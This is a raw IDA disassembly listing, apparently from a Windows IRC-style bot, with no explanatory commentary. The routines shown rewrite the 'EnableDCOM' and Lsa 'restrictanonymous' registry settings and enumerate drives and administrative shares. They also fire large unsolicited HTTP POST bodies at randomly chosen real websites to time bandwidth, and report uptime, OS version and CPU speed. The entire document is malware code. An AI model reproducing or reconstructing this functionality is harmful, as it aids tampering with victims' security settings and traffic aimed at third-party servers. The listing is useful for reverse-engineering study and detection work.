; Attributes: bp-based frame


sub_41A94E	proc near		; CODE XREF: sub_41A5C8:loc_41A60Fp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CDD30, ebx
		push	esi
		jnz	loc_41AA7C
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CDCD4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A9D9
		mov	ax, word_43B434
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CDC88	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_41A9C1
		push	offset dword_43CABC
		jmp	short loc_41A9C6
; ---------------------------------------------------------------------------


loc_41A9C1:				; CODE XREF: sub_41A94E+6Aj
		push	offset dword_43CAA0


loc_41A9C6:				; CODE XREF: sub_41A94E+71j
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CDC40	; RegCloseKey
		jmp	short loc_41A9EC
; ---------------------------------------------------------------------------


loc_41A9D9:				; CODE XREF: sub_41A94E+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43C8F4
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_41A9EC:				; CODE XREF: sub_41A94E+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AA0B
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_41AA0B:				; CODE XREF: sub_41A94E+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A5
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CDCD4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41AA75
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CDC88	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_41AA5D
		push	offset dword_43CA60
		jmp	short loc_41AA62
; ---------------------------------------------------------------------------


loc_41AA5D:				; CODE XREF: sub_41A94E+106j
		push	offset dword_43CA28


loc_41AA62:				; CODE XREF: sub_41A94E+10Dj
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CDC40	; RegCloseKey
		jmp	short loc_41AA8F
; ---------------------------------------------------------------------------


loc_41AA75:				; CODE XREF: sub_41A94E+E2j
		push	offset dword_43C9EC
		jmp	short loc_41AA81
; ---------------------------------------------------------------------------


loc_41AA7C:				; CODE XREF: sub_41A94E+13j
		push	offset dword_43C804


loc_41AA81:				; CODE XREF: sub_41A94E+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_41AA8F:				; CODE XREF: sub_41A94E+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AAAE
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_41AAAE:				; CODE XREF: sub_41A94E+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A5
		cmp	dword_4CDD58, ebx
		pop	ecx
		jnz	loc_41AC25
		push	edi
		xor	esi, esi
		mov	edi, 200h


loc_41AACF:				; CODE XREF: sub_41A94E+1EEj
		push	dword_43C6D0[esi]
		push	off_43C6CC[esi]
		push	ebx
		call	sub_4193A0
		add	esp, 0Ch
		push	off_43C6CC[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_41AAFB
		push	offset dword_43C9CC
		jmp	short loc_41AB00
; ---------------------------------------------------------------------------


loc_41AAFB:				; CODE XREF: sub_41A94E+1A4j
		push	offset dword_43C9A4


loc_41AB00:				; CODE XREF: sub_41A94E+1ABj
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AB29
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_41AB29:				; CODE XREF: sub_41A94E+1BFj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A5
		add	esi, 8
		pop	ecx
		cmp	esi, 10h
		jb	short loc_41AACF
		call	dword_428194	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41AC0D


loc_41AB51:				; CODE XREF: sub_41A94E+2B9j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41AC02
		cmp	bl, 41h
		jz	loc_41AC02
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C150
		push	esi
		push	offset aC_1	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41C150
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CDCC4	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41AC02
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_4193A0
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_41ABC6
		push	offset dword_43C9CC
		jmp	short loc_41ABCB
; ---------------------------------------------------------------------------


loc_41ABC6:				; CODE XREF: sub_41A94E+26Fj
		push	offset dword_43C9A4


loc_41ABCB:				; CODE XREF: sub_41A94E+276j
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41ABF5
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_41ABF5:				; CODE XREF: sub_41A94E+28Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A5
		pop	ecx


loc_41AC02:				; CODE XREF: sub_41A94E+20Bj
					; sub_41A94E+214j ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41AB51


loc_41AC0D:				; CODE XREF: sub_41A94E+1FDj
		lea	eax, [ebp+var_220]
		push	offset dword_43C974
		push	eax
		call	sub_41C056
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41AC38
; ---------------------------------------------------------------------------


loc_41AC25:				; CODE XREF: sub_41A94E+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43C70C
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_41AC38:				; CODE XREF: sub_41A94E+2D5j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AC56
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_41AC56:				; CODE XREF: sub_41A94E+2EDj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A5
		pop	ecx
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_41A94E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41AC6A	proc near		; CODE XREF: sub_41AC6A+1Cj
					; DATA XREF: sub_401252+428o
		push	1
		push	0
		push	0
		push	0
		call	sub_41A628
		add	esp, 10h
		push	dword_43C6C8
		call	dword_428064	; Sleep
		jmp	short sub_41AC6A
sub_41AC6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC88	proc near		; CODE XREF: sub_41AE7F+CBp
					; sub_41AE7F+DDp ...

arg_0		= dword	ptr  4

		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		pop	ecx
		call	sub_41C0B2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AC88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACA2	proc near		; CODE XREF: sub_41AE7F+D4p
					; sub_41AE7F+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B7B0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41AE7B
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BD60
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AA04
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41AE7B
		push	50h
		call	dword_4CDC64	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CDCE4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41AE7B
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CDC0C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41AE7B
		push	32003h
		call	sub_41D795
		mov	edi, dword_4280A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi	; GetTickCount
		push	eax
		call	sub_41C0A8
		call	sub_41C0B2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BD60
		push	32000h
		push	esi
		push	ebx
		call	sub_41BD60
		push	ebx
		call	sub_41B7B0
		push	323EAh
		mov	ebx, eax
		call	sub_41D795
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C056
		push	[ebp+var_8]
		push	esi
		call	sub_41C690
		push	offset asc_436514 ; "\r\n"
		push	esi
		call	sub_41C690
		add	esp, 40h
		push	esi
		call	sub_41B7B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41ADF9
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41ADC9
; ---------------------------------------------------------------------------


loc_41ADC6:				; CODE XREF: sub_41ACA2+155j
		mov	eax, [ebp+arg_0]


loc_41ADC9:				; CODE XREF: sub_41ACA2+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		add	eax, esi
		cmp	ecx, ebx
		jnb	short loc_41ADDB
		push	[ebp+var_C]
		jmp	short loc_41ADDC
; ---------------------------------------------------------------------------


loc_41ADDB:				; CODE XREF: sub_41ACA2+132j
		push	ebx


loc_41ADDC:				; CODE XREF: sub_41ACA2+137j
		push	eax
		push	[ebp+var_4]
		call	dword_4CDCB4	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AE62
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41ADC6


loc_41ADF9:				; CODE XREF: sub_41ACA2+118j
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_428714
		fst	[ebp+arg_0]
		fcomp	flt_428710
		fnstsw	ax
		test	ah, 44h
		jp	short loc_41AE23
		fld1
		fstp	[ebp+arg_0]


loc_41AE23:				; CODE XREF: sub_41ACA2+17Aj
		push	[ebp+var_4]
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_8]
		call	sub_41B881
		push	esi
		call	sub_41B881
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42870C
		fmul	flt_428708
		call	sub_41CF68


loc_41AE5D:				; CODE XREF: sub_41ACA2+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AE62:				; CODE XREF: sub_41ACA2+147j
		push	[ebp+var_4]
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_8]
		call	sub_41B881
		push	esi
		call	sub_41B881
		pop	ecx
		pop	ecx


loc_41AE7B:				; CODE XREF: sub_41ACA2+19j
					; sub_41ACA2+42j ...
		xor	eax, eax
		jmp	short loc_41AE5D
sub_41ACA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE7F	proc near		; CODE XREF: sub_401B66+2E19p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AC88
		push	[ebp+eax*4+var_3C]
		call	sub_41ACA2
		push	8
		mov	esi, eax
		call	sub_41AC88
		push	[ebp+eax*4+var_3C]
		call	sub_41ACA2
		add	esp, 10h
		test	esi, esi
		jz	short loc_41AF80
		test	eax, eax
		jz	short loc_41AF7C
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41AF82
; ---------------------------------------------------------------------------


loc_41AF7C:				; CODE XREF: sub_41AE7F+F4j
		mov	ebx, esi
		jmp	short loc_41AF82
; ---------------------------------------------------------------------------


loc_41AF80:				; CODE XREF: sub_41AE7F+F0j
		mov	ebx, eax


loc_41AF82:				; CODE XREF: sub_41AE7F+FBj
					; sub_41AE7F+FFj
		push	0Ch
		call	sub_41AC88
		push	[ebp+eax*4+var_6C]
		call	sub_41ACA2
		push	0Ch
		mov	edi, eax
		call	sub_41AC88
		push	[ebp+eax*4+var_6C]
		call	sub_41ACA2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AFBA
		test	eax, eax
		jz	short loc_41AFB6
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AFBC
; ---------------------------------------------------------------------------


loc_41AFB6:				; CODE XREF: sub_41AE7F+12Ej
		mov	esi, edi
		jmp	short loc_41AFBC
; ---------------------------------------------------------------------------


loc_41AFBA:				; CODE XREF: sub_41AE7F+12Aj
		mov	esi, eax


loc_41AFBC:				; CODE XREF: sub_41AE7F+135j
					; sub_41AE7F+139j
		push	6
		call	sub_41AC88
		push	[ebp+eax*4+var_1C]
		call	sub_41ACA2
		push	6
		mov	edi, eax
		call	sub_41AC88
		push	[ebp+eax*4+var_1C]
		call	sub_41ACA2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AFF4
		test	eax, eax
		jz	short loc_41AFF0
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AFF6
; ---------------------------------------------------------------------------


loc_41AFF0:				; CODE XREF: sub_41AE7F+168j
		mov	ecx, edi
		jmp	short loc_41AFF6
; ---------------------------------------------------------------------------


loc_41AFF4:				; CODE XREF: sub_41AE7F+164j
		mov	ecx, eax


loc_41AFF6:				; CODE XREF: sub_41AE7F+16Fj
					; sub_41AE7F+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41B003
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41B006
; ---------------------------------------------------------------------------


loc_41B003:				; CODE XREF: sub_41AE7F+17Bj
		push	2
		pop	edi


loc_41B006:				; CODE XREF: sub_41AE7F+182j
		test	esi, esi
		jz	short loc_41B00E
		add	eax, esi
		jmp	short loc_41B00F
; ---------------------------------------------------------------------------


loc_41B00E:				; CODE XREF: sub_41AE7F+189j
		dec	edi


loc_41B00F:				; CODE XREF: sub_41AE7F+18Dj
		test	ecx, ecx
		jz	short loc_41B017
		add	eax, ecx
		jmp	short loc_41B018
; ---------------------------------------------------------------------------


loc_41B017:				; CODE XREF: sub_41AE7F+192j
		dec	edi


loc_41B018:				; CODE XREF: sub_41AE7F+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43CB18
		push	eax
		call	sub_41C056
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4157A5
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AE7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05C	proc near		; CODE XREF: sub_401B66+2508p
					; sub_401B66+298Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4280A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		mov	esi, offset dword_4DDFF8
		push	32h
		push	esi
		call	sub_41C150
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_41B05C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0AF	proc near		; CODE XREF: sub_417474+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	dword_4280C8	; GetVersionExA
		test	eax, eax
		jz	short loc_41B141
		cmp	[ebp+var_90], 4
		jnz	short loc_41B117
		cmp	[ebp+var_8C], esi
		jnz	short loc_41B0FF
		cmp	[ebp+var_84], 1
		jnz	short loc_41B0F1
		inc	esi


loc_41B0F1:				; CODE XREF: sub_41B0AF+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41B141
		xor	esi, esi
		inc	esi
		jmp	short loc_41B141
; ---------------------------------------------------------------------------


loc_41B0FF:				; CODE XREF: sub_41B0AF+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41B10C


loc_41B108:				; CODE XREF: sub_41B0AF+77j
		push	2
		jmp	short loc_41B140
; ---------------------------------------------------------------------------


loc_41B10C:				; CODE XREF: sub_41B0AF+57j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41B141
		jmp	short loc_41B131
; ---------------------------------------------------------------------------


loc_41B117:				; CODE XREF: sub_41B0AF+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41B141
		cmp	[ebp+var_8C], esi
		jz	short loc_41B108
		cmp	[ebp+var_8C], 1
		jnz	short loc_41B135


loc_41B131:				; CODE XREF: sub_41B0AF+66j
		push	3
		jmp	short loc_41B140
; ---------------------------------------------------------------------------


loc_41B135:				; CODE XREF: sub_41B0AF+80j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41B141
		push	7


loc_41B140:				; CODE XREF: sub_41B0AF+5Bj
					; sub_41B0AF+84j
		pop	esi


loc_41B141:				; CODE XREF: sub_41B0AF+25j
					; sub_41B0AF+49j ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B0AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B146	proc near		; CODE XREF: sub_41B1FC+290p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_41B14E:				; CODE XREF: sub_41B146+2Fj
					; sub_41B146+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	dword_428064	; Sleep
		rdtsc
		sub	eax, esi
		push	0
		sbb	edx, ebx
		push	edi
		push	edx
		push	eax
		call	sub_41DC10
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		ja	short loc_41B14E
		jb	short loc_41B17D
		cmp	ebx, edi
		ja	short loc_41B14E


loc_41B17D:				; CODE XREF: sub_41B146+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_41DC80
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	edi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41B1F0
		jb	short loc_41B19C
		cmp	edi, 50h
		jnb	short loc_41B1A1


loc_41B19C:				; CODE XREF: sub_41B146+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41B1A1:				; CODE XREF: sub_41B146+54j
		test	ecx, ecx
		ja	short loc_41B1F0
		jb	short loc_41B1AC
		cmp	edi, 47h
		jnb	short loc_41B1B1


loc_41B1AC:				; CODE XREF: sub_41B146+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41B1B1:				; CODE XREF: sub_41B146+64j
		test	ecx, ecx
		ja	short loc_41B1F0
		jb	short loc_41B1BC
		cmp	edi, 37h
		jnb	short loc_41B1C1


loc_41B1BC:				; CODE XREF: sub_41B146+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41B1C1:				; CODE XREF: sub_41B146+74j
		test	ecx, ecx
		ja	short loc_41B1F0
		jb	short loc_41B1CC
		cmp	edi, 26h
		jnb	short loc_41B1D1


loc_41B1CC:				; CODE XREF: sub_41B146+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41B1D1:				; CODE XREF: sub_41B146+84j
		test	ecx, ecx
		ja	short loc_41B1F0
		jb	short loc_41B1DC
		cmp	edi, 1Eh
		jnb	short loc_41B1E1


loc_41B1DC:				; CODE XREF: sub_41B146+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41B1E1:				; CODE XREF: sub_41B146+94j
		test	ecx, ecx
		ja	short loc_41B1F0
		jb	short loc_41B1EC
		cmp	edi, 0Ah
		jnb	short loc_41B1F0


loc_41B1EC:				; CODE XREF: sub_41B146+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41B1F0:				; CODE XREF: sub_41B146+4Dj
					; sub_41B146+5Dj ...
		sub	eax, edi
		pop	edi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_41B146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B1FC	proc near		; CODE XREF: sub_401B66+26DDp

var_968		= byte ptr -968h
var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 968h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43FE14
		mov	[ebp+var_CC], 94h
		call	dword_4280C8	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B283
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B25F
		cmp	[ebp+var_BC], 1
		jnz	short loc_41B249
		mov	[ebp+var_4], offset a95	; "95"


loc_41B249:				; CODE XREF: sub_41B1FC+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B2FE
		mov	[ebp+var_4], offset aNt_1 ; "NT"
		jmp	short loc_41B2CF
; ---------------------------------------------------------------------------


loc_41B25F:				; CODE XREF: sub_41B1FC+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B271
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_41B2C6
; ---------------------------------------------------------------------------


loc_41B271:				; CODE XREF: sub_41B1FC+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B2BF
		mov	[ebp+var_4], offset aMe_0 ; "ME"
		jmp	short loc_41B2C6
; ---------------------------------------------------------------------------


loc_41B283:				; CODE XREF: sub_41B1FC+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B2BF
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B29D
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_41B2C6
; ---------------------------------------------------------------------------


loc_41B29D:				; CODE XREF: sub_41B1FC+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B2AF
		mov	[ebp+var_4], offset aXp_0 ; "XP"
		jmp	short loc_41B2C6
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B1FC+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B2C6


loc_41B2BF:				; CODE XREF: sub_41B1FC+7Cj
					; sub_41B1FC+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_41B2C6:				; CODE XREF: sub_41B1FC+73j
					; sub_41B1FC+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B2FE


loc_41B2CF:				; CODE XREF: sub_41B1FC+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B2FE
		lea	eax, [ebp+var_B8]
